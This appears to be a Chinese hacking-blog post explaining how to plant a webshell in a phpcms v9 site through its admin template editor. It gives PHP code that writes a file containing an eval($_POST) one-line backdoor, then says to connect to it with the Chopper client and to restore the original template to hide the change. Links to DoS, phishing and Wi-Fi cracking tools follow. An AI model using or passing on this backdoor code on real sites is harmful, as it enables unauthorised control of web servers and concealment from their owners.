记一次phpcms v9后台拿shell过程

hacker5年前黑客文章817

记一次phpcms v9后台拿shell过程

登录进入后台管理后,点击界面,模板风格,然后点击祥细列表,如下图:

phpcmsV9

然后点击 search 这个文件夹,如下图:

phpcms

然后点击修改 index.html 文件

然后把以下代码复制上去提交。

<?

$fp = @fopen(“qxz.php”, ‘a’);

@fwrite($fp, ‘<’.'?php’.”\r\n\r\n”.’eval($_POST[hacker])’.”\r\n\r\n?”.”>\r\n”);

@fclose($fp);

?>

提示:修改前先把原来的代码备份一下,拿到shell后把他改回去。

1259

提交后点击可视化一下

131117163330

这样在网站的根目录就生成了你的一句话木马客户端 qxz.php

拿起菜刀链接 http://www.xxx.com/qxz.php

0131117164105

 

标签: 黑客技术

相关文章

如何打造个人成功博客教程:建站思路与上线

如何打造个人成功博客教程:建站思路与上线

  目前有不少的站长是在做博客网站的,特别是很多新手。因为博客比较简单,需要的精力还有技术相对来说都比较少一点。不过据我一直观察真正会做博客的站长其实真的很少,大部分的博客...

远程电脑后获得的哪个用以实行DOS命令的自然环境

远程电脑后获得的哪个用以实行DOS命令的自然环境

1、肉食鸡: 说白了“肉食鸡”是一种很品牌形象的形容,形容这些能够随便被大家操纵的电脑上,另一方能够是WINDOWS系统软件,还可以是UNIX/LINUX系统软件,能够是一般的个人计算机,还可以是大...

sudopip3installPySocks

sudopip3installPySocks

Slowloris DOS进攻也可称之为:Slowloris拒绝服务攻击进攻;   普遍的DDOS进攻有SYN flood、UDP flood、ICMP flood等。在其中SYN flo...

HiddenEye免费下载

HiddenEye免费下载

HiddenEye是一款具备高級作用的当代互联网钓鱼工具,而且还适用Android系统软件。   HiddenEye必须大家的电脑上自然环境考虑下列规定: Python 3 Python...

OSSECHIDS的典型性主要用途是啥?

OSSECHIDS的典型性主要用途是啥?

什么叫OSSEC HIDS? OSSEC HIDS是一个多服务平台,可拓展和根据开源系统的服务器入侵防御系统系统软件,具备强劲的强劲的有关和剖析模块。   OSSEC HIDS是不是完全免...

FernWiFiWirelessCracker是啥?

FernWiFiWirelessCracker是啥?

Fern WiFi Wireless Cracker是啥? Fern Wifi Cracker是一种应用Python Qt GUI库和Python计算机语言撰写的无线网络攻击器和安全性监视专用工具。...